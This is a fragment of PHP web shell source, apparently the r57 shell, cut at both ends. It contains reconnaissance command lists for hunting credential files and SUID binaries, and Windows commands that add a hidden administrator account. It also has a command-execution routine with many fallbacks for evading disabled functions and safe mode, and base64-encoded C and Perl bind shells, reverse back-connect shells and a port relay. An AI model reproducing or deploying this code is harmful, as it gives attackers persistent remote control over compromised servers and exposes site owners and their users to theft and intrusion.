'cat /var/cpanel/accounting.log'=>'cat /var/cpanel/accounting.log',
'find all site of server and user'=>'ls -la /etc/valiases',
'find suid files'=>'find / -type f -perm -04000 -ls',
'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
'find sgid files'=>'find / -type f -perm -02000 -ls',
'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
'find config.inc.php files'=>'find / -type f -name config.inc.php',
'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
'find config* files'=>'find / -type f -name "config*"',
'find config* files in current dir'=>'find . -type f -name "config*"',
'find all writable files'=>'find / -type f -perm -2 -ls',
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
'find all writable directories'=>'find / -type d -perm -2 -ls',
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
'find all writable directories and files'=>'find / -perm -2 -ls',
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
'find all service.pwd files'=>'find / -type f -name service.pwd',
'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
'find all .htpasswd files'=>'find / -type f -name .htpasswd',
'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
'find all .bash_history files'=>'find / -type f -name .bash_history',
'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
'find all .mysql_history files'=>'find / -type f -name .mysql_history',
'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
'list file attributes on a Linux second extended file system'=>'lsattr -va',
'show opened ports'=>'netstat -an | grep -i listen',
'________________var orders var______________-'=>'/tmp/grep.txt;cat
/tmp/grep.txt',
'find /var/ error_log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'find /var/ access.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'find /var/ error.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'find /var/ "*.log" files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'________________for server windows ______________-'=>'/tmp/grep.txt;cat
/tmp/grep.txt',
'1_learn the management server'=>'net user',
'2_add new user'=>'net user egy_spider 123456 /add',
'3_add your user for admin group (this order after add order 1&2'=>'net localgroup
administrators egy_spider /add',
'---------------------------------------------------------------------------------
-------------------'=>'ls -la'
);
$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div
align=center>:: ";
$table_up2 = " ::</div></b></font></td></tr><tr><td>";
$table_up3 = "<table width=100% cellpadding=0 cellspacing=0
bgcolor=#000000><tr><td bgcolor=#333333>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Webdings color=gray>4</font>";
$lb = "<font color=black>[</font>";
$rb = "<font color=black>]</font>";
$font = "<font face=Verdana size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";
if(isset($_GET['users']))
{
if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2
color=red>".$lang[$language.'_text96']."</font></center>"; }
else
{
echo '<center>';
foreach($users as $user) { echo $user."<br>"; }
echo '</center>';
}
$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
}
if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);}
else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir =
@getcwd();};}else{$dir=$_POST['dir'];}
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
{
$os = getenv('OS');
if(empty($os)){ $os = @php_uname(); }
if(empty($os)){ $os ="-"; $unix=1; }
else
{
if(@eregi("^win",$os)) { $unix = 0; }
else { $unix = 1; }
}
}
if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) &&

$_POST['cmd'] == "search_text")
{
echo $head;
if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new

SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
$sr->SearchText(0,0);
$res = $sr->GetResultFiles();
$found = $sr->GetMatchesCount();
$titles = $sr->GetTitles();
$r = "";
if($found > 0)
{
$r .= "<TABLE width=100%>";
foreach($res as $file=>$v)
{
$r .= "<TR>";
$r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
$r .= (!$unix)? str_replace("/","\\",$file) : $file;
$r .= "</b></font></ TD>";
$r .= "</TR>";
foreach($v as $a=>$b)
{
$r .= "<TR>";
$r .= "<TD align=center><B><font face=Verdana size=-2>".
$a."</font></B></TD>";
$r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
$r .= "</TR>\n";
}
}
$r .= "</TABLE>";
echo $r;
}
else
{
echo "<P align=center><B><font face=Verdana size=-2>".
$lang[$language.'_text56']."</B></font></P>";
}
die();
}
/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/
if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;}
$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
function ws($i)
{
return @str_repeat(" ",$i);
}
function ex($cfe)
{global $unix,$tempdir;
$res = '';
if (!empty($cfe))
{
if(@function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(@function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(@function_exists('system'))
{
@ob_start();
@system('$cfe');
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
@ob_end_clean();
}
elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
{
$res = "";
if(@function_exists('fread') && @function_exists('feof')){
while(!@feof($f)) { $res .= @fread($f,1024); }
}else if(@function_exists('fgets') && @function_exists('feof')){
while(!@feof($f)) { $res .= @fgets($f,1024); }
}
@pclose($f);
}
elseif(@function_exists('proc_open') && @is_resource($f =
@proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
{
$res = "";
if(@function_exists('fread') && @function_exists('feof')){
while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
}else if(@function_exists('fgets') && @function_exists('feof')){
while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
}
@proc_close($f);
}
}else{$res = safe_ex($cfe);}
return htmlspecialchars($res);
}
function safe_ex($cfe)
{global $unix,$tempdir;
$res = '';
if (!empty($cfe))
{
if(extension_loaded('perl')){
@ob_start();
$safeperl=new perl();
$safeperl->eval("system('$cfe')");
@ob_end_clean();
}
elseif(!$unix && extension_loaded('ffi'))
{
$output=$tempdir.uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe
>\"$output\"",0);}
else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)."
>\"$output\"",0);}
while(!@file_exists($output))sleep(1);
$res=moreread($output);
@unlink($output);
}
elseif(!$unix && extension_loaded('win32service'))
{
$n_ser=uniqid('NJ');
if(!@function_exists('escapeshellarg'))
{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\
\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));}
else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>
'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)."
>\"$output\""));}
@win32_start_service($n_ser);
@win32_stop_service($n_ser);
@win32_delete_service($n_ser);
@unlink($output);
}
elseif(!$unix && extension_loaded("win32std"))
{
if(!@function_exists('escapeshellarg'))
{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' >
"'.$output.'"');}
else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c
'.@escapeshellarg($cfe).' > "'.$output.'"');}
@unlink($output);
}
elseif(!$unix)
{
$suntzu = new COM("WScript.Shell");
if(!@function_exists('escapeshellarg')){$suntzu-
>Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' >
"'.$output.'"');}
@unlink($output);
}
elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
{
$res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
$output=$tempdir.uniqid('pcntl');
$pid = @pcntl_fork();
if ($pid == -1) {
$res .= '[-] Could not children fork. Exit';
} else if ($pid) {
if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'"
successfully executed.';}
else {$res .= '[-] Error. Command incorrect.';}
} else {
$cfe = array(" -e 'system(\"$cfe > $output\")'");
if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
die();
}
@unlink($output);
}
/* elseif(1)
{
}
*/
}
return htmlspecialchars($res);
}
function get_users($filename)
{
$users = $rows = array();
$rows=@explode("\n",moreread($filename));
if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
if(!$rows[0]) return 0;
foreach ($rows as $string)
{
$user = @explode(":",trim($string));
if(substr($string,0,1)!='#') array_push($users,$user[0]);
}
return $users;
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font
color=red face=Verdana size=-2><div align=center><b>';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
$ret = "<input type=".$type." name=".$name." ";
if($size != 0) { $ret .= "size=".$size." "; }
$ret .= "value=\"".$value."\"";
if($checked) $ret .= " checked";
return $ret.">";
}
function which($pr)
{
$path = '';
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return false; }
}
function ps($pr)
{global $unix;
$path = '';
if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
else{$path = ex("tasklist | findstr \"$pr\"");}
}
function locate($pr)
{
$path = '';
$path = ex("locate $pr");
}
function cf($fname,$text)
{
if(!morewrite($fname,@base64_decode($text))){err(0);};
}
function sr($l,$t1,$t2)
{
return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td
class=td1 align=left>".$t2."</td></tr>";
}
if (!@function_exists("view_size"))
{
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
}
function DirFilesR($dir,$types='')
{
$files = Array();
if(($handle = @opendir($dir)))
{
while (false !== ($file = @readdir($handle)))
{
if ($file != "." && $file != "..")
{
if(@is_dir($dir."/".$file))
$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
else
{
$pos = @strrpos($file,".");
$ext = @substr($file,$pos,@strlen($file)-$pos);
if($types)
{
if(@in_array($ext,explode(';',$types)))
$files[] = $dir."/".$file;
}
else
$files[] = $dir."/".$file;
}
}
}
@closedir($handle);
}
return $files;
}
class SearchResult
{
var $text;
var $FilesToSearch;
var $ResultFiles;
var $FilesTotal;
var $MatchesCount;
var $FileMatschesCount;
var $TimeStart;
var $TimeTotal;
var $titles;
function SearchResult($dir,$text,$filter='')
{
$dirs = @explode(";",$dir);
$this->FilesToSearch = Array();
for($a=0;$a<count($dirs);$a++)
$this->FilesToSearch = @array_merge($this-
>FilesToSearch,DirFilesR($dirs[$a],$filter));
$this->text = $text;
$this->FilesTotal = @count($this->FilesToSearch);
$this->TimeStart = getmicrotime();
$this->MatchesCount = 0;
$this->ResultFiles = Array();
$this->FileMatchesCount = Array();
$this->titles = Array();
}
function GetFilesTotal() { return $this->FilesTotal; }
function GetTitles() { return $this->titles; }
function GetTimeTotal() { return $this->TimeTotal; }
function GetMatchesCount() { return $this->MatchesCount; }
function GetFileMatchesCount() { return $this->FileMatchesCount; }
function GetResultFiles() { return $this->ResultFiles; }
function SearchText($phrase=0,$case=0) {
$qq = @explode(' ',$this->text);
$delim = '|';
if($phrase)
foreach($qq as $k=>$v)
$qq[$k] = '\b'.$v.'\b';
$words = '('.@implode($delim,$qq).')';
$pattern = "/".$words."/";
if(!$case)
$pattern .= 'i';
foreach($this->FilesToSearch as $k=>$filename)
{
$this->FileMatchesCount[$filename] = 0;
$FileStrings = @file($filename) or @next;
for($a=0;$a<@count($FileStrings);$a++)
{
$count = 0;
$CurString = $FileStrings[$a];
$CurString = @Trim($CurString);
$CurString = @strip_tags($CurString);
$aa = '';
if(($count = @preg_match_all($pattern,$CurString,$aa)))
{
$CurString = @preg_replace($pattern,"<SPAN style='color:
#990000;'><b>\\1</b></SPAN>",$CurString);
$this->ResultFiles[$filename][$a+1] = $CurString;
$this->MatchesCount += $count;
$this->FileMatchesCount[$filename] += $count;
}
}
}
$this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
}
}
function getmicrotime()
{
list($usec,$sec) = @explode(" ",@microtime());
return ((float)$usec + (float)$sec);
}
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZ
SA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0K
aW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTs
NCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW
1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KI
HNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChz
b2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXd
mZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cm
l0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Z
ikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVy
ciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW5
0IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQ
ppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNC
n0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFS
R1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3R
jcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2
Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBka
WUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChD
T05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05
OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudC
BleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3R
lbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVl
sxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZ
HIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NL
X1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik
7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3
RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY
2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9p
biBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9
wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndl
sxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ
1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAg
cGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR
1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZC
k7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpb
mNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0K
I2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQo
jaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZG
VmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1c
m4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0K
ICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiA
gc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZH
NyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7D
QogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9y
dCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQo
gIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQ
ogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0I
D0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0s
IElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx
5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaX
plb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KI
CAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3Io
ImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKCh
jc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KIC
AgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vK
Sk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5i
eXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5
HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIE
lQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ
290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7
DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXp
lb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdW
l0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZ
mRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQog
ICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q
6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fC
BGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7D
QogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ss
